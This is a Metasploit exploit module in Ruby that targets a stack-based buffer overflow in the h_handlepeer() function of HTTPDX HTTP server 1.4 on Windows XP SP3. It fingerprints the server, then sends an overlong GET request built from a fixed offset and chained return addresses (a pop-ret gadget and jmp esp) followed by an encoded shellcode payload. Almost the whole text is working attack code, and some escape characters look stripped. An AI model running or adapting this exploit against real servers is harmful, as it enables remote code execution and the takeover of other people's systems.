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httpdx_handlepeer.rb.txt

Posted on 17 October 2009

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

include Msf::Exploit::Remote::Tcp

def initialize(info = {})
super(update_info(info,
'Name'           => 'HTTPDX h_handlepeer() Function Buffer Overflow',
'Description'    => %q{
This module exploits a stack-based buffer overflow vulnerability in HTTPDX HTTP server 1.4. The
vulnerability is caused due to a boundary error within the "h_handlepeer()" function in http.cpp.
By sending an overly long HTTP request, an attacker can overrun a buffer and execute arbitrary code.
},
'Author'         => [
'Pankaj Kohli <pankaj208[at]gmail.com>',	# Original exploit [see References]
'Trancer <mtrancer[at]gmail.com>'		# Metasploit implementation
],
'References'     =>
[
[ 'URL', 'http://www.pank4j.com/exploits/httpdxb0f.php' ],
[ 'URL', 'http://www.rec-sec.com/2009/10/16/httpdx-buffer-overflow-exploit/' ],
[ 'OSVDB', '58714' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Privileged'     => true,
'Payload'        =>
{
'Space'    => 1000,
'BadChars' => "x00x0ax0bx0dx20x23x25x26x2cx2fx3ax3bx3dx3fx5c",
'StackAdjustment' => -1500,
'DisableNops'	=>  'True',

},
'Platform'       => 'win',
'Targets'        =>
[
[  'httpdx 1.4 - Windows XP SP3',
{
'Offset'	=> 616,
'Rets'		=> [ 0x64f8134b, 0x63b8624f, 0x7c874413 ],   # pop ret (core.dll), required to reach ret instruction (n.dll), jmp esp (kernel32.dll)
}
],
],
'DefaultTarget'  => 0))
register_options( [ Opt::RPORT(80) ], self.class )
end

def check
response = send_request_raw

if response and
response['Server'] and
response['Server'] =~ /httpdx/1.4 (Win32)/
return Exploit::CheckCode::Appears
end

return Exploit::CheckCode::Safe
end

def exploit
connect

sploit  = "GET /" + rand_text_alpha_lower(3, payload_badchars) + "="
sploit << rand_text_alphanumeric(target['Offset'], payload_badchars)
sploit << [ target['Rets'][0] ].pack('V') + [ target['Rets'][1] ].pack('V') + [ target['Rets'][2] ].pack('V')
sploit << payload.encoded + rand_text_alphanumeric((payload_space - payload.encoded.length), payload_badchars)

request = sploit + " HTTP/1.1
Host: " + rand_text_alphanumeric(rand(8) + 1) + "

"

print_status("Trying target #{target.name}...")

sock.put(request)
sock.close

disconnect
handler
end
end

 

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